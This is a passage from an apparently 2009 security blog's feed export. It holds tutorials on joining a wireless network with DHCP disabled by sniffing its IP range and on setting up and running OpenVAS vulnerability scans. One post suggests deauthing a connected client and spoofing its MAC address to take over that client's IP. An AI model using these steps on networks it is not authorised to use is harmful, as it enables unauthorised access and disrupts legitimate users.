alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/7294369232127474178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/sidejacking-using-ferret-hamster.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/7294369232127474178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/7294369232127474178'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/sidejacking-using-ferret-hamster.html' title='Sidejacking using Ferret &amp; Hamster'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-4418845531840919098</id><published>2009-09-28T09:25:00.005+02:00</published><updated>2009-09-28T12:52:31.899+02:00</updated><title type='text'>Connecting to a network without DHCP</title><content type='html'>Connecting to a DHCP enabled network will automacially get you an IP address, but how to go around getting a valid IP address on a network that does not automatically give an IP ? &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When DHCP is not enabled, you are not automatically given&amp;nbsp; an IP address and the router is only allowing access via set IP addresses.&lt;br /&gt;Basically this means that the router only works with static IP addresses which have been pre-assigned to the computers.&lt;br /&gt;The range of the set IP addresses is variable, so we need to figure out how to find that out.&lt;br /&gt;&lt;br /&gt;I am doing this on my test network which is an open network without mac filtering with DHCP disabled.&lt;br /&gt;&lt;br /&gt;My test network is on channel 1, essid "default", bssid 00:13:D4:09:32:60&lt;br /&gt;no encryption set and DHCP disabled &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So if trying to connect with the connection manager WICD for instance, it will fail when trying to obtain the IP address.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/WICD.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/WICD.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;This however does not mean we can't associate to the network, it just means we cant (yet) get an IP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So to get a connection to the router we need the following information;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The channel the network is on&lt;/li&gt;&lt;li&gt;The ESSID &lt;br /&gt;&lt;/li&gt;&lt;li&gt;Access Point MAC address&lt;/li&gt;&lt;/ul&gt;An easy way to get that info for the test network is to do an iwlist scan and grep out the relevant information ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;iwlist wlan0 scanning | egrep 'Channel|Address|ESSID'&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwlist.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwlist.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or of course can quickly run airodump-ng.&lt;br /&gt;&lt;br /&gt;Now we re-configure our interface and enter the above information.&lt;br /&gt;I first put the card down, as I like to control when it starts trying to access any network . &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;ifconfig wlan0 down&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;iwconfig wlan0 channel 1 essid default ap 00:13:D4:09:32:60&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Check the input to be correct.&lt;br /&gt;&lt;div style="color: lime;"&gt;iwconfig wlan0&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Note the link quality, no connection.&lt;br /&gt;All is good to go, time to put the card up;&lt;br /&gt;&lt;div style="color: lime;"&gt;ifconfig wlan0 up&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwconfig-config.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwconfig-config.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now when checking we see that we have a connection with the access point !&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;iwconfig wlan0&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwconfig2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwconfig2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So to check the IP address range in use there are a couple of options ;&lt;br /&gt;&lt;br /&gt;Using tcpdump;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;tcpdump -i wlan0&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;This tool will simply show a running list of all packets sent, in the output there will be some IP addresses in plain text which of course can also help you on your way.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tcpdump1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/tcpdump1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;netdiscover -i wlan0&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;This scans possible IP ranges and will list the IP addresses found and the MAC addresses of the access point and any connected clients.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/netdiscover.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/netdiscover.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Monitoring with KISMET&lt;br /&gt;&lt;br /&gt;Kismet will show IP ranges it has been able to discover as long as there is some activity from the client side.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/kismet.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/kismet.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The above examples have been made with a client connected to the router and for the  kismet &amp;amp; tcpdump examples also some activity from the client side.&lt;br /&gt;&lt;br /&gt;I was preparing this post playing around with 2 different clients, hence sometimes IP 192.168.1.4 and sometimes 192.168.1.5&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When we have either an IP address from a connected client, or an IP address from the router so that we can make an educate guess as to a correct IP range we re-configure the interface again;&lt;br /&gt;&lt;br /&gt;Setting the IP address and netmask;&lt;br /&gt;&lt;div style="color: lime;"&gt;ifconfig wlan0 192.168.1.4 netmask 255.255.255.0&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Adding the gateway;&lt;br /&gt;&lt;div style="color: lime;"&gt;route add default gateway 192.168.1.1&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Adding the DNS server;&lt;br /&gt;&lt;div style="color: lime;"&gt;sh -c "echo nameserver 208.67.222.222 &amp;gt; /etc/resolve.conf"&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ifconfig-ip.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ifconfig-ip.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Of course if a user is already using the IP address, you cannot use the same one as it will cause conflicts.&lt;br /&gt;You can however use the same IP address by kicking the associated client off the network with a deauth attack, possibly spoofing the mac address as well in case the IP is linked to a certain mac address.&lt;br /&gt;&lt;br /&gt;My test network is not connected to the internet, however the above should help you on your way in understanding what can be done if having difficulty getting an IP.&lt;br /&gt;&lt;br /&gt;You will not always need to enter the DNS server depending on what you are trying to accomplish on the network.&lt;br /&gt;&lt;br /&gt;But in the above case the connection should be done and you are able to browse away to your heart's content !&lt;br /&gt;&lt;br /&gt;A great reference to connecting to networks in Linux has been made by Virchanza;&lt;br /&gt;&lt;a href="http://virjacode.com/tutorials/linux_inet_connect.html"&gt;http://virjacode.com/tutorials/linux_inet_connect.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-4418845531840919098?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/4418845531840919098/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/connecting-to-network-without-dhcp.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/4418845531840919098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/4418845531840919098'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/connecting-to-network-without-dhcp.html' title='Connecting to a network without DHCP'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-2298978563891186298</id><published>2009-09-25T12:59:00.003+02:00</published><updated>2009-09-25T13:53:30.891+02:00</updated><title type='text'>Vulnerability assessments using openVAS  - Starting a scan</title><content type='html'>So now the OpenVAS is started up with the Global Settings and connected to the Open VAS server as per the last post, time to continue.&lt;br /&gt;&lt;br /&gt;The below is based on being on the network to assess and to have an IP address assigned (DHCP).&lt;br /&gt;&lt;br /&gt;First of all of course, we need to identify the IP address of a target to scan.&lt;br /&gt;This can be done is several ways, either using Netdiscover or Nmap.&lt;br /&gt;With wlan0 being our interface best to check the ip your on with;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;ifconfig wlan0&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;That should give you an idea on the IP range in use.&lt;br /&gt;&lt;br /&gt;To find other IPs on the network you can then do ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nmap -sP 192.168.1.0/24&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nmap-ip.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nmap-ip.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now in the OpenVAS Client window, start a new Task.&lt;br /&gt;Go to&lt;span style="color: lime;"&gt; Task --&amp;gt; New&lt;/span&gt; and rename if desired, here I renamed to test.&lt;br /&gt;&lt;br /&gt;With the task selected, start a new scope.&lt;br /&gt;Go to &lt;span style="color: lime;"&gt;Scope --&amp;gt; New&lt;/span&gt; and rename if desired, here I renamed to testvictim.&lt;br /&gt;You will need to connect to the server again, by clicking on the connect icon, same as done in previous post. &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/clientscope.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/clientscope.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After connecting to the server (see again bottom right is mentioned; Connection: root@localhost) go to the General tab, here the only change I made was selecting "&lt;span style="color: lime;"&gt;Safe checks&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/scope_gen.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/scope_gen.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then head to the Plugins tab, you can select the plugins to be used, in this case I used &lt;span style="color: lime;"&gt;Enable all&lt;/span&gt; to use all plugins available.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/scope-plug.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/scope-plug.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now time to select your target IP. I have chosen to pick &lt;span style="color: lime;"&gt;192.168.1.102&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/scope-ip.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/scope-ip.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now to finally start the scan !&lt;br /&gt;&lt;br /&gt;Go to &lt;span style="color: lime;"&gt;Scope --&amp;gt; Execute&lt;/span&gt; and the scan will commence, first scanning the ports, then checking them.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/clientscan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/clientscan.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;After a while with the scan complete, you will see a report appear under the testvictim scope.&lt;br /&gt;Double clicking it will open it up on the right and you can go through the various warnings / messages noted.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/scanresult.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/scanresult.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Not much of interest noted from this scan, but the above is the basics of how to get started with vulnerability scanning of hosts on a network !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A lot of the info on the OpenVAS setup was seen on dookie2000ca YouTube video in which he shows the process from vulnerability assessment to auto_pwn-ing a box;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=BY2LCGUjm7k&amp;amp;feature=channel"&gt;http://www.youtube.com/watch?v=BY2LCGUjm7k&amp;amp;feature=channel&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Also excellent references of course found on OpenVAS' site;&lt;br /&gt;&lt;a href="http://www.openvas.org/"&gt;www.OpenVAS.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A great 101 guide ;&lt;br /&gt;&lt;a href="http://wald.intevation.org/frs/download.php/558/openvas-compendium-1.0.1.pdf"&gt;http://wald.intevation.org/frs/download.php/558/openvas-compendium-1.0.1.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-2298978563891186298?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/2298978563891186298/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/vulnerability-assessments-using-openvas_25.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/2298978563891186298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/2298978563891186298'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/vulnerability-assessments-using-openvas_25.html' title='Vulnerability assessments using openVAS  - Starting a scan'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-4936695698742206750</id><published>2009-09-25T00:09:00.006+02:00</published><updated>2009-09-25T00:54:55.875+02:00</updated><title type='text'>Vulnerability assessments using OpenVAS  - Setting up</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;OpenVAS is an open source fork of Nessus, which is a well established tool for vulnerability assessment.&lt;br /&gt;&lt;br /&gt;Why OpenVAS instead of Nessus ? Well OpenVAS is on the standard back|track 4 pre final installation..&lt;br /&gt;&lt;br /&gt;Briefly laid out, what is being done to get OpenVAS working is as follows; &lt;br /&gt;&lt;ul&gt;&lt;li&gt; An SSL certificate is created to allow communication between the OpenVAS Server and the OpenVAS Client.&lt;/li&gt;&lt;li&gt;A user account is made, so that the client is able to use the OpenVAS server. &lt;br /&gt;&lt;/li&gt;&lt;li&gt;A syncronisation process with an OpenVAS NVT Feed is performed to update plugins.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; A local OpenVAS Server is started to load all plugins.&lt;/li&gt;&lt;li&gt;OpenVAS Client is started to get down to business !&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Setting up the tool (need to be online to synchronize in step 3) &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 1) Make a certificate.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/makecert.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/makecert.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/makecert1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/makecert1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can simply press enter down the whole route, adding in information on your Country and City if you so choose.&lt;br /&gt;At the end you will be presented with the screen that your server certificate was properly created.&lt;br /&gt;&lt;br /&gt;Press Enter to exit and close the console.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/makecert2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/makecert2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 2) Add a User&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/adduser.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/adduser.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/adduser1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/adduser1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Login : &lt;span style="color: lime;"&gt;root&lt;/span&gt;&lt;br /&gt;Authentication (pass/cert) [pass] : &lt;span style="color: lime;"&gt;just hit enter&lt;/span&gt;&lt;br /&gt;Login password :&lt;span style="color: lime;"&gt; toor&lt;/span&gt; (just to be original with the BT theme.. ;)&lt;br /&gt;Login password again : &lt;span style="color: lime;"&gt;toor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hit Ctrl + D when asked to enter rules for this user. You dont need to.&lt;br /&gt;&lt;br /&gt;When asked if all OK, hit &lt;b&gt;y&lt;/b&gt;, user is added and you can exit the console.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/adduser3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/adduser3.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 3) Synchronize with OpenVAS to update all plugins&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nvtSync.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nvtSync.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The synchronization process will start straight away.&lt;br /&gt;When it is completed you can exit the console.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nvtSync1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/nvtSync1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 4) Starting the OpenVAS Server&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/server.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/server.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The server will start to load the plugins straight away, this can take a wee while.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/server1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/server1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When all plugins have completed loading, minimize that console window (&lt;span style="color: red;"&gt;dont close it !&lt;/span&gt;). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 5) Start the OpenVAS Client &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client1.jpg" imageanchor="1" style="clear: left; float: left; 